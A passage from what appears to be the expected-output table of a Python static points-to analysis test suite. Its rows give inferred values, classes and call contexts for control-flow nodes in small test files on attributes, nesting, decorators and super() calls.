m_attributes.py:6 | ControlFlowNode for self | self | class C | 5 | runtime | +| m_attributes.py:8 | ControlFlowNode for FunctionExpr | Function foo | builtin-class function | 8 | import | +| m_attributes.py:8 | ControlFlowNode for foo | Function foo | builtin-class function | 8 | import | +| m_attributes.py:9 | ControlFlowNode for Attribute | int 17 | builtin-class int | 5 | runtime | +| m_attributes.py:9 | ControlFlowNode for self | self | class C | 8 | runtime | +| m_attributes.py:10 | ControlFlowNode for other | C() | class C | 12 | code/m_attributes.py:12 from import | +| m_attributes.py:10 | ControlFlowNode for other | C() | class C | 13 | code/m_attributes.py:13 from import | +| m_attributes.py:12 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 8 | import | +| m_attributes.py:12 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| m_attributes.py:12 | ControlFlowNode for C() | C() | class C | 12 | import | +| m_attributes.py:13 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 8 | import | +| m_attributes.py:13 | ControlFlowNode for C | class C | builtin-class type | 3 | import | +| m_attributes.py:13 | ControlFlowNode for C() | C() | class C | 13 | import | +| m_attributes.py:13 | ControlFlowNode for IntegerLiteral | int 100 | builtin-class int | 13 | import | +| n_nesting.py:8 | ControlFlowNode for FunctionExpr | Function foo | builtin-class function | 8 | import | +| n_nesting.py:8 | ControlFlowNode for True | bool True | builtin-class bool | 8 | import | +| n_nesting.py:8 | ControlFlowNode for foo | Function foo | builtin-class function | 8 | import | +| n_nesting.py:9 | ControlFlowNode for callable | Builtin-function callable | builtin-class builtin_function_or_method | 9 | runtime | +| n_nesting.py:9 | ControlFlowNode for callable() | bool False | builtin-class bool | 9 | runtime | +| n_nesting.py:9 | ControlFlowNode for callable() | bool True | builtin-class bool | 9 | runtime | +| n_nesting.py:9 | ControlFlowNode for compile_ops | bool True | builtin-class bool | 8 | runtime | +| n_nesting.py:10 | ControlFlowNode for FunctionExpr | Function inner | builtin-class function | 10 | runtime | +| n_nesting.py:10 | ControlFlowNode for inner | Function inner | builtin-class function | 10 | runtime | +| n_nesting.py:13 | ControlFlowNode for FunctionExpr | Function inner | builtin-class function | 13 | runtime | +| n_nesting.py:13 | ControlFlowNode for inner | Function inner | builtin-class function | 13 | runtime | +| n_nesting.py:15 | ControlFlowNode for Dict | Dict | builtin-class dict | 15 | runtime | +| n_nesting.py:15 | ControlFlowNode for attrs | Dict | builtin-class dict | 15 | runtime | +| n_nesting.py:16 | ControlFlowNode for Str | 'inner' | builtin-class str | 16 | runtime | +| n_nesting.py:16 | ControlFlowNode for inner | Function inner | builtin-class function | 10 | runtime | +| n_nesting.py:16 | ControlFlowNode for inner | Function inner | builtin-class function | 13 | runtime | +| n_nesting.py:18 | ControlFlowNode for attrs | Dict | builtin-class dict | 15 | runtime | +| n_nesting.py:22 | ControlFlowNode for FunctionExpr | Function f1 | builtin-class function | 22 | import | +| n_nesting.py:22 | ControlFlowNode for f1 | Function f1 | builtin-class function | 22 | import | +| n_nesting.py:23 | ControlFlowNode for Attribute | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from code/i_imports.py:38 from import | +| n_nesting.py:23 | ControlFlowNode for Attribute | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from code/n_nesting.py:27 from code/n_nesting.py:29 from runtime | +| n_nesting.py:23 | ControlFlowNode for Attribute | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from code/n_nesting.py:27 from runtime | +| n_nesting.py:23 | ControlFlowNode for Attribute | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from runtime | +| n_nesting.py:23 | ControlFlowNode for Attribute | int 1 | builtin-class int | 23 | runtime | +| n_nesting.py:23 | ControlFlowNode for C | int 1 | builtin-class int | 34 | code/n_nesting.py:25 from code/i_imports.py:38 from import | +| n_nesting.py:23 | ControlFlowNode for C | int 1 | builtin-class int | 34 | code/n_nesting.py:25 from code/n_nesting.py:27 from code/n_nesting.py:29 from runtime | +| n_nesting.py:23 | ControlFlowNode for C | int 1 | builtin-class int | 34 | code/n_nesting.py:25 from code/n_nesting.py:27 from runtime | +| n_nesting.py:23 | ControlFlowNode for C | int 1 | builtin-class int | 34 | code/n_nesting.py:25 from runtime | +| n_nesting.py:23 | ControlFlowNode for C | int 1 | builtin-class int | 34 | runtime | +| n_nesting.py:23 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from code/i_imports.py:38 from import | +| n_nesting.py:23 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from code/n_nesting.py:27 from code/n_nesting.py:29 from runtime | +| n_nesting.py:23 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from code/n_nesting.py:27 from runtime | +| n_nesting.py:23 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 23 | code/n_nesting.py:25 from runtime | +| n_nesting.py:23 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 23 | runtime | +| n_nesting.py:24 | ControlFlowNode for FunctionExpr | Function f2 | builtin-class function | 24 | import | +| n_nesting.py:24 | ControlFlowNode for f2 | Function f2 | builtin-class function | 24 | import | +| n_nesting.py:25 | ControlFlowNode for f1 | Function f1 | builtin-class function | 22 | code/i_imports.py:38 from import | +| n_nesting.py:25 | ControlFlowNode for f1 | Function f1 | builtin-class function | 22 | code/n_nesting.py:27 from code/n_nesting.py:29 from code/n_nesting.py:31 from import | +| n_nesting.py:25 | ControlFlowNode for f1 | Function f1 | builtin-class function | 22 | code/n_nesting.py:27 from code/n_nesting.py:29 from runtime | +| n_nesting.py:25 | ControlFlowNode for f1 | Function f1 | builtin-class function | 22 | code/n_nesting.py:27 from runtime | +| n_nesting.py:25 | ControlFlowNode for f1 | Function f1 | builtin-class function | 22 | runtime | +| n_nesting.py:25 | ControlFlowNode for f1() | NoneType None | builtin-class NoneType | 22 | code/i_imports.py:38 from import | +| n_nesting.py:25 | ControlFlowNode for f1() | NoneType None | builtin-class NoneType | 22 | code/n_nesting.py:27 from code/n_nesting.py:29 from code/n_nesting.py:31 from import | +| n_nesting.py:25 | ControlFlowNode for f1() | NoneType None | builtin-class NoneType | 22 | code/n_nesting.py:27 from code/n_nesting.py:29 from runtime | +| n_nesting.py:25 | ControlFlowNode for f1() | NoneType None | builtin-class NoneType | 22 | code/n_nesting.py:27 from runtime | +| n_nesting.py:25 | ControlFlowNode for f1() | NoneType None | builtin-class NoneType | 22 | runtime | +| n_nesting.py:26 | ControlFlowNode for FunctionExpr | Function f3 | builtin-class function | 26 | import | +| n_nesting.py:26 | ControlFlowNode for f3 | Function f3 | builtin-class function | 26 | import | +| n_nesting.py:27 | ControlFlowNode for f2 | Function f2 | builtin-class function | 24 | code/n_nesting.py:29 from code/n_nesting.py:31 from import | +| n_nesting.py:27 | ControlFlowNode for f2 | Function f2 | builtin-class function | 24 | code/n_nesting.py:29 from runtime | +| n_nesting.py:27 | ControlFlowNode for f2 | Function f2 | builtin-class function | 24 | runtime | +| n_nesting.py:27 | ControlFlowNode for f2() | NoneType None | builtin-class NoneType | 24 | code/n_nesting.py:29 from code/n_nesting.py:31 from import | +| n_nesting.py:27 | ControlFlowNode for f2() | NoneType None | builtin-class NoneType | 24 | code/n_nesting.py:29 from runtime | +| n_nesting.py:27 | ControlFlowNode for f2() | NoneType None | builtin-class NoneType | 24 | runtime | +| n_nesting.py:28 | ControlFlowNode for FunctionExpr | Function f4 | builtin-class function | 28 | import | +| n_nesting.py:28 | ControlFlowNode for f4 | Function f4 | builtin-class function | 28 | import | +| n_nesting.py:29 | ControlFlowNode for f3 | Function f3 | builtin-class function | 26 | code/n_nesting.py:31 from import | +| n_nesting.py:29 | ControlFlowNode for f3 | Function f3 | builtin-class function | 26 | runtime | +| n_nesting.py:29 | ControlFlowNode for f3() | NoneType None | builtin-class NoneType | 26 | code/n_nesting.py:31 from import | +| n_nesting.py:29 | ControlFlowNode for f3() | NoneType None | builtin-class NoneType | 26 | runtime | +| n_nesting.py:30 | ControlFlowNode for C | class C | builtin-class type | 30 | import | +| n_nesting.py:30 | ControlFlowNode for ClassExpr | class C | builtin-class type | 30 | import | +| n_nesting.py:30 | ControlFlowNode for object | builtin-class object | builtin-class type | 30 | import | +| n_nesting.py:31 | ControlFlowNode for f4 | Function f4 | builtin-class function | 28 | import | +| n_nesting.py:31 | ControlFlowNode for f4() | NoneType None | builtin-class NoneType | 28 | import | +| n_nesting.py:32 | ControlFlowNode for C | class C | builtin-class type | 30 | import | +| n_nesting.py:32 | ControlFlowNode for ClassExpr | class D | builtin-class type | 32 | import | +| n_nesting.py:32 | ControlFlowNode for D | class D | builtin-class type | 32 | import | +| n_nesting.py:34 | ControlFlowNode for C | int 1 | builtin-class int | 34 | import | +| n_nesting.py:34 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 34 | import | +| p_decorators.py:3 | ControlFlowNode for FunctionExpr | Function simple | builtin-class function | 3 | import | +| p_decorators.py:3 | ControlFlowNode for simple | Function simple | builtin-class function | 3 | import | +| p_decorators.py:4 | ControlFlowNode for Attribute | 'Hello' | builtin-class str | 4 | code/p_decorators.py:7 from import | +| p_decorators.py:4 | ControlFlowNode for Attribute | 'Hello' | builtin-class str | 4 | runtime | +| p_decorators.py:4 | ControlFlowNode for Str | 'Hello' | builtin-class str | 4 | code/p_decorators.py:7 from import | +| p_decorators.py:4 | ControlFlowNode for Str | 'Hello' | builtin-class str | 4 | runtime | +| p_decorators.py:4 | ControlFlowNode for func | Function foo | builtin-class function | 8 | code/p_decorators.py:7 from import | +| p_decorators.py:5 | ControlFlowNode for func | Function foo | builtin-class function | 8 | code/p_decorators.py:7 from import | +| p_decorators.py:7 | ControlFlowNode for simple | Function simple | builtin-class function | 3 | import | +| p_decorators.py:7 | ControlFlowNode for simple() | Function foo | builtin-class function | 8 | import | +| p_decorators.py:8 | ControlFlowNode for FunctionExpr | Function foo | builtin-class function | 8 | import | +| p_decorators.py:8 | ControlFlowNode for foo | Function foo | builtin-class function | 8 | import | +| p_decorators.py:11 | ControlFlowNode for FunctionExpr | Function complex | builtin-class function | 11 | import | +| p_decorators.py:11 | ControlFlowNode for complex | Function complex | builtin-class function | 11 | import | +| p_decorators.py:12 | ControlFlowNode for FunctionExpr | Function annotate | builtin-class function | 12 | code/p_decorators.py:17 from import | +| p_decorators.py:12 | ControlFlowNode for FunctionExpr | Function annotate | builtin-class function | 12 | runtime | +| p_decorators.py:12 | ControlFlowNode for annotate | Function annotate | builtin-class function | 12 | code/p_decorators.py:17 from import | +| p_decorators.py:12 | ControlFlowNode for annotate | Function annotate | builtin-class function | 12 | runtime | +| p_decorators.py:13 | ControlFlowNode for func | Function bar | builtin-class function | 18 | code/p_decorators.py:17 from import | +| p_decorators.py:14 | ControlFlowNode for func | Function bar | builtin-class function | 18 | code/p_decorators.py:17 from import | +| p_decorators.py:15 | ControlFlowNode for annotate | Function annotate | builtin-class function | 12 | code/p_decorators.py:17 from import | +| p_decorators.py:15 | ControlFlowNode for annotate | Function annotate | builtin-class function | 12 | runtime | +| p_decorators.py:17 | ControlFlowNode for Str | 'Hi' | builtin-class str | 17 | import | +| p_decorators.py:17 | ControlFlowNode for complex | Function complex | builtin-class function | 11 | import | +| p_decorators.py:17 | ControlFlowNode for complex() | Function annotate | builtin-class function | 12 | import | +| p_decorators.py:17 | ControlFlowNode for complex()() | Function bar | builtin-class function | 18 | import | +| p_decorators.py:18 | ControlFlowNode for FunctionExpr | Function bar | builtin-class function | 18 | import | +| p_decorators.py:18 | ControlFlowNode for bar | Function bar | builtin-class function | 18 | import | +| p_decorators.py:21 | ControlFlowNode for foo | Function foo | builtin-class function | 8 | import | +| p_decorators.py:22 | ControlFlowNode for bar | Function bar | builtin-class function | 18 | import | +| p_decorators.py:24 | ControlFlowNode for C | class C | builtin-class type | 24 | import | +| p_decorators.py:24 | ControlFlowNode for ClassExpr | class C | builtin-class type | 24 | import | +| p_decorators.py:24 | ControlFlowNode for object | builtin-class object | builtin-class type | 24 | import | +| p_decorators.py:26 | ControlFlowNode for staticmethod | builtin-class staticmethod | builtin-class type | 26 | import | +| p_decorators.py:26 | ControlFlowNode for staticmethod() | staticmethod() | builtin-class staticmethod | 26 | import | +| p_decorators.py:27 | ControlFlowNode for FunctionExpr | Function smeth | builtin-class function | 27 | import | +| p_decorators.py:27 | ControlFlowNode for smeth | staticmethod() | builtin-class staticmethod | 26 | import | +| p_decorators.py:31 | ControlFlowNode for classmethod | builtin-class classmethod | builtin-class type | 31 | import | +| p_decorators.py:31 | ControlFlowNode for classmethod() | classmethod() | builtin-class classmethod | 31 | import | +| p_decorators.py:32 | ControlFlowNode for FunctionExpr | Function cmeth | builtin-class function | 32 | import | +| p_decorators.py:32 | ControlFlowNode for cmeth | classmethod() | builtin-class classmethod | 31 | import | +| q_super.py:1 | ControlFlowNode for Base2 | class Base2 | builtin-class type | 1 | import | +| q_super.py:1 | ControlFlowNode for ClassExpr | class Base2 | builtin-class type | 1 | import | +| q_super.py:1 | ControlFlowNode for object | builtin-class object | builtin-class type | 1 | import | +| q_super.py:3 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 3 | import | +| q_super.py:3 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 3 | import | +| q_super.py:4 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 4 | code/q_super.py:12 from runtime | +| q_super.py:4 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 4 | runtime | +| q_super.py:4 | ControlFlowNode for Base2 | class Base2 | builtin-class type | 1 | code/q_super.py:12 from runtime | +| q_super.py:4 | ControlFlowNode for Base2 | class Base2 | builtin-class type | 1 | runtime | +| q_super.py:4 | ControlFlowNode for self | self | class Base2 | 3 | runtime | +| q_super.py:4 | ControlFlowNode for self | self | class Derived4 | 10 | code/q_super.py:12 from runtime | +| q_super.py:4 | ControlFlowNode for super | builtin-class super | builtin-class type | 4 | code/q_super.py:12 from runtime | +| q_super.py:4 | ControlFlowNode for super | builtin-class super | builtin-class type | 4 | runtime | +| q_super.py:4 | ControlFlowNode for super() | super() | builtin-class super | 4 | code/q_super.py:12 from runtime | +| q_super.py:4 | ControlFlowNode for super() | super() | builtin-class super | 4 | runtime | +| q_super.py:8 | ControlFlowNode for Base2 | class Base2 | builtin-class type | 1 | import | +| q_super.py:8 | ControlFlowNode for ClassExpr | class Derived4 | builtin-class type | 8 | import | +| q_super.py:8 | ControlFlowNode for Derived4 | class Derived4 | builtin-class type | 8 | import | +| q_super.py:10 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 10 | import | +| q_super.py:10 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 10 | import | +| q_super.py:11 | ControlFlowNode for Base2 | class Base2 | builtin-class type | 1 | runtime | +| q_super.py:11 | ControlFlowNode for self | self | class Derived4 | 10 | runtime | +| q_super.py:11 | ControlFlowNode for super | builtin-class super | builtin-class type | 11 | runtime | +| q_super.py:11 | ControlFlowNode for super() | super() | builtin-class super | 11 | runtime | +| q_super.py:12 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 12 | runtime | +| q_super.py:12 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 3 | runtime | +| q_super.py:12 | ControlFlowNode for Derived4 | class Derived4 | builtin-class type | 8 | runtime | +| q_super.py:12 | ControlFlowNode for self | self | class Derived4 | 10 | runtime | +| q_super.py:12 | ControlFlowNode for super | builtin-class super | builtin-class type | 12 | runtime | +| q_super.py:12 | ControlFlowNode for super() | super() | builtin-class super | 12 | runtime | +| q_super.py:14 | ControlFlowNode for Base1 | class Base1 | builtin-class type | 14 | import | +| q_super.py:14 | ControlFlowNode for ClassExpr | class Base1 | builtin-class type | 14 | import | +| q_super.py:14 | ControlFlowNode for object | builtin-class object | builtin-class type | 14 | import | +| q_super.py:16 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 16 | import | +| q_super.py:16 | ControlFlowNode for meth | Function meth | builtin-class function | 16 | import | +| q_super.py:17 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 17 | code/q_super.py:22 from code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:17 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 17 | code/q_super.py:22 from code/q_super.py:27 from runtime | +| q_super.py:17 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 17 | code/q_super.py:22 from code/q_super.py:32 from runtime | +| q_super.py:17 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 17 | code/q_super.py:22 from runtime | +| q_super.py:17 | ControlFlowNode for IntegerLiteral | int 7 | builtin-class int | 17 | runtime | +| q_super.py:19 | ControlFlowNode for Base1 | class Base1 | builtin-class type | 14 | import | +| q_super.py:19 | ControlFlowNode for ClassExpr | class Derived1 | builtin-class type | 19 | import | +| q_super.py:19 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | import | +| q_super.py:21 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 21 | import | +| q_super.py:21 | ControlFlowNode for meth | Function meth | builtin-class function | 21 | import | +| q_super.py:22 | ControlFlowNode for Attribute | super().meth | builtin-class method | 22 | code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:22 | ControlFlowNode for Attribute | super().meth | builtin-class method | 22 | code/q_super.py:27 from runtime | +| q_super.py:22 | ControlFlowNode for Attribute | super().meth | builtin-class method | 22 | code/q_super.py:32 from runtime | +| q_super.py:22 | ControlFlowNode for Attribute | super().meth | builtin-class method | 22 | runtime | +| q_super.py:22 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:22 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | code/q_super.py:27 from runtime | +| q_super.py:22 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | code/q_super.py:32 from runtime | +| q_super.py:22 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | runtime | +| q_super.py:22 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:22 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | code/q_super.py:27 from runtime | +| q_super.py:22 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | code/q_super.py:32 from runtime | +| q_super.py:22 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | runtime | +| q_super.py:22 | ControlFlowNode for self | self | class Derived1 | 21 | runtime | +| q_super.py:22 | ControlFlowNode for self | self | class Derived2 | 26 | code/q_super.py:27 from runtime | +| q_super.py:22 | ControlFlowNode for self | self | class Derived5 | 31 | code/q_super.py:32 from runtime | +| q_super.py:22 | ControlFlowNode for self | self | class Wrong1 | 37 | code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:22 | ControlFlowNode for super | builtin-class super | builtin-class type | 22 | code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:22 | ControlFlowNode for super | builtin-class super | builtin-class type | 22 | code/q_super.py:27 from runtime | +| q_super.py:22 | ControlFlowNode for super | builtin-class super | builtin-class type | 22 | code/q_super.py:32 from runtime | +| q_super.py:22 | ControlFlowNode for super | builtin-class super | builtin-class type | 22 | runtime | +| q_super.py:22 | ControlFlowNode for super() | super() | builtin-class super | 22 | code/q_super.py:27 from code/q_super.py:38 from runtime | +| q_super.py:22 | ControlFlowNode for super() | super() | builtin-class super | 22 | code/q_super.py:27 from runtime | +| q_super.py:22 | ControlFlowNode for super() | super() | builtin-class super | 22 | code/q_super.py:32 from runtime | +| q_super.py:22 | ControlFlowNode for super() | super() | builtin-class super | 22 | runtime | +| q_super.py:24 | ControlFlowNode for ClassExpr | class Derived2 | builtin-class type | 24 | import | +| q_super.py:24 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | import | +| q_super.py:24 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 24 | import | +| q_super.py:26 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 26 | import | +| q_super.py:26 | ControlFlowNode for meth | Function meth | builtin-class function | 26 | import | +| q_super.py:27 | ControlFlowNode for Attribute | super().meth | builtin-class method | 27 | code/q_super.py:38 from runtime | +| q_super.py:27 | ControlFlowNode for Attribute | super().meth | builtin-class method | 27 | runtime | +| q_super.py:27 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | code/q_super.py:38 from runtime | +| q_super.py:27 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | runtime | +| q_super.py:27 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 24 | code/q_super.py:38 from runtime | +| q_super.py:27 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 24 | runtime | +| q_super.py:27 | ControlFlowNode for self | self | class Derived2 | 26 | runtime | +| q_super.py:27 | ControlFlowNode for self | self | class Wrong1 | 37 | code/q_super.py:38 from runtime | +| q_super.py:27 | ControlFlowNode for super | builtin-class super | builtin-class type | 27 | code/q_super.py:38 from runtime | +| q_super.py:27 | ControlFlowNode for super | builtin-class super | builtin-class type | 27 | runtime | +| q_super.py:27 | ControlFlowNode for super() | super() | builtin-class super | 27 | code/q_super.py:38 from runtime | +| q_super.py:27 | ControlFlowNode for super() | super() | builtin-class super | 27 | runtime | +| q_super.py:29 | ControlFlowNode for ClassExpr | class Derived5 | builtin-class type | 29 | import | +| q_super.py:29 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 19 | import | +| q_super.py:29 | ControlFlowNode for Derived5 | class Derived5 | builtin-class type | 29 | import | +| q_super.py:31 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 31 | import | +| q_super.py:31 | ControlFlowNode for meth | Function meth | builtin-class function | 31 | import | +| q_super.py:32 | ControlFlowNode for Attribute | super().meth | builtin-class method | 32 | runtime | +| q_super.py:32 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | runtime | +| q_super.py:32 | ControlFlowNode for Derived5 | class Derived5 | builtin-class type | 29 | runtime | +| q_super.py:32 | ControlFlowNode for self | self | class Derived5 | 31 | runtime | +| q_super.py:32 | ControlFlowNode for super | builtin-class super | builtin-class type | 32 | runtime | +| q_super.py:32 | ControlFlowNode for super() | super() | builtin-class super | 32 | runtime | +| q_super.py:35 | ControlFlowNode for ClassExpr | class Wrong1 | builtin-class type | 35 | import | +| q_super.py:35 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 24 | import | +| q_super.py:35 | ControlFlowNode for Derived5 | class Derived5 | builtin-class type | 29 | import | +| q_super.py:35 | ControlFlowNode for Wrong1 | class Wrong1 | builtin-class type | 35 | import | +| q_super.py:37 | ControlFlowNode for FunctionExpr | Function meth | builtin-class function | 37 | import | +| q_super.py:37 | ControlFlowNode for meth | Function meth | builtin-class function | 37 | import | +| q_super.py:38 | ControlFlowNode for Attribute | super().meth | builtin-class method | 38 | runtime | +| q_super.py:38 | ControlFlowNode for Attribute() | int 7 | builtin-class int | 17 | runtime | +| q_super.py:38 | ControlFlowNode for Derived5 | class Derived5 | builtin-class type | 29 | runtime | +| q_super.py:38 | ControlFlowNode for self | self | class Wrong1 | 37 | runtime | +| q_super.py:38 | ControlFlowNode for super | builtin-class super | builtin-class type | 38 | runtime | +| q_super.py:38 | ControlFlowNode for super() | super() | builtin-class super | 38 | runtime | +| q_super.py:41 | ControlFlowNode for ClassExpr | class DA | builtin-class type | 41 | import | +| q_super.py:41 | ControlFlowNode for DA | class DA | builtin-class type | 41 | import | +| q_super.py:41 | ControlFlowNode for object | builtin-class object | builtin-class type | 41 | import | +| q_super.py:43 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 43 | import | +| q_super.py:43 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 43 | import | +| q_super.py:46 | ControlFlowNode for ClassExpr | class DB | builtin-class type | 46 | import | +| q_super.py:46 | ControlFlowNode for DA | class DA | builtin-class type | 41 | import | +| q_super.py:46 | ControlFlowNode for DB | class DB | builtin-class type | 46 | import | +| q_super.py:48 | ControlFlowNode for ClassExpr | class DC | builtin-class type | 48 | import | +| q_super.py:48 | ControlFlowNode for DA | class DA | builtin-class type | 41 | import | +| q_super.py:48 | ControlFlowNode for DC | class DC | builtin-class type | 48 | import | +| q_super.py:50 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 50 | import | +| q_super.py:50 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 50 | import | +| q_super.py:51 | ControlFlowNode for Attribute | class DC | builtin-class type | 48 | runtime | +| q_super.py:51 | ControlFlowNode for DB | class DB | builtin-class type | 46 | runtime | +| q_super.py:51 | ControlFlowNode for self | self | class DC | 50 | runtime | +| q_super.py:51 | ControlFlowNode for sup | super() | builtin-class super | 51 | runtime | +| q_super.py:51 | ControlFlowNode for super | builtin-class super | builtin-class type | 51 | runtime | +| q_super.py:51 | ControlFlowNode for super() | super() | builtin-class super | 51 | runtime | +| q_super.py:52 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 52 | runtime | +| q_super.py:52 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 43 | runtime | +| q_super.py:52 | ControlFlowNode for sup | super() | builtin-class super | 51 | runtime | +| q_super.py:55 | ControlFlowNode for ClassExpr | class DD | builtin-class type | 55 | import | +| q_super.py:55 | ControlFlowNode for DA | class DA | builtin-class type | 41 | import | +| q_super.py:55 | ControlFlowNode for DD | class DD | builtin-class type | 55 | import | +| q_super.py:57 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 57 | import | +| q_super.py:57 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 57 | import | +| q_super.py:58 | ControlFlowNode for DD | class DD | builtin-class type | 55 | runtime | +| q_super.py:58 | ControlFlowNode for self | self | class DD | 57 | runtime | +| q_super.py:58 | ControlFlowNode for sup | super() | builtin-class super | 58 | runtime | +| q_super.py:58 | ControlFlowNode for super | builtin-class super | builtin-class type | 58 | runtime | +| q_super.py:58 | ControlFlowNode for super() | super() | builtin-class super | 58 | runtime | +| q_super.py:59 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 59 | runtime | +| q_super.py:59 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 43 | runtime | +| q_super.py:59 | ControlFlowNode for sup | super() | builtin-class super | 58 | runtime | +| q_super.py:61 | ControlFlowNode for ClassExpr | class DE | builtin-class type | 61 | import | +| q_super.py:61 | ControlFlowNode for DA | class DA | builtin-class type | 41 | import | +| q_super.py:61 | ControlFlowNode for DE | class DE | builtin-class type | 61 | import | +| q_super.py:63 | ControlFlowNode for ClassExpr | class DF | builtin-class type | 63 | import | +| q_super.py:63 | ControlFlowNode for DA | class DA | builtin-class type | 41 | import | +| q_super.py:63 | ControlFlowNode for DF | class DF | builtin-class type | 63 | import | +| q_super.py:65 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 65 | import | +| q_super.py:65 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 65 | import | +| q_super.py:66 | ControlFlowNode for Attribute | class DF | builtin-class type | 63 | runtime | +| q_super.py:66 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 66 | runtime | +| q_super.py:66 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 43 | runtime | +| q_super.py:66 | ControlFlowNode for DE | class DE | builtin-class type | 61 | runtime | +| q_super.py:66 | ControlFlowNode for self | self | class DF | 65 | runtime | +| q_super.py:66 | ControlFlowNode for super | builtin-class super | builtin-class type | 66 | runtime | +| q_super.py:66 | ControlFlowNode for super() | super() | builtin-class super | 66 | runtime | +| q_super.py:68 | ControlFlowNode for ClassExpr | class N | builtin-class type | 68 | import | +| q_super.py:68 | ControlFlowNode for N | class N | builtin-class type | 68 | import | +| q_super.py:68 | ControlFlowNode for object | builtin-class object | builtin-class type | 68 | import | +| q_super.py:71 | ControlFlowNode for ClassExpr | class M | builtin-class type | 71 | import | +| q_super.py:71 | ControlFlowNode for M | class M | builtin-class type | 71 | import | +| q_super.py:71 | ControlFlowNode for N | class N | builtin-class type | 68 | import | +| q_super.py:73 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 73 | import | +| q_super.py:73 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 73 | import | +| q_super.py:74 | ControlFlowNode for M | class M | builtin-class type | 71 | runtime | +| q_super.py:74 | ControlFlowNode for s | super() | builtin-class super | 74 | runtime | +| q_super.py:74 | ControlFlowNode for self | self | class M | 73 | runtime | +| q_super.py:74 | ControlFlowNode for super | builtin-class super | builtin-class type | 74 | runtime | +| q_super.py:74 | ControlFlowNode for super() | super() | builtin-class super | 74 | runtime | +| q_super.py:75 | ControlFlowNode for Attribute | super().__init__ | builtin-class method | 75 | runtime | +| q_super.py:75 | ControlFlowNode for i | super().__init__ | builtin-class method | 75 | runtime | +| q_super.py:75 | ControlFlowNode for s | super() | builtin-class super | 74 | runtime | +| q_super.py:76 | ControlFlowNode for i | super().__init__ | builtin-class method | 75 | runtime | +| r_regressions.py:5 | ControlFlowNode for ClassExpr | class Queue | builtin-class type | 5 | import | +| r_regressions.py:5 | ControlFlowNode for Queue | class Queue | builtin-class type | 5 | import | +| r_regressions.py:5 | ControlFlowNode for object | builtin-class object | builtin-class type | 5 | import | +| r_regressions.py:7 | ControlFlowNode for FunctionExpr | Function __init__ | builtin-class function | 7 | import | +| r_regressions.py:7 | ControlFlowNode for __init__ | Function __init__ | builtin-class function | 7 | import | +| r_regressions.py:9 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 11 | runtime | +| r_regressions.py:9 | ControlFlowNode for self | self | class Queue | 7 | runtime | +| r_regressions.py:11 | 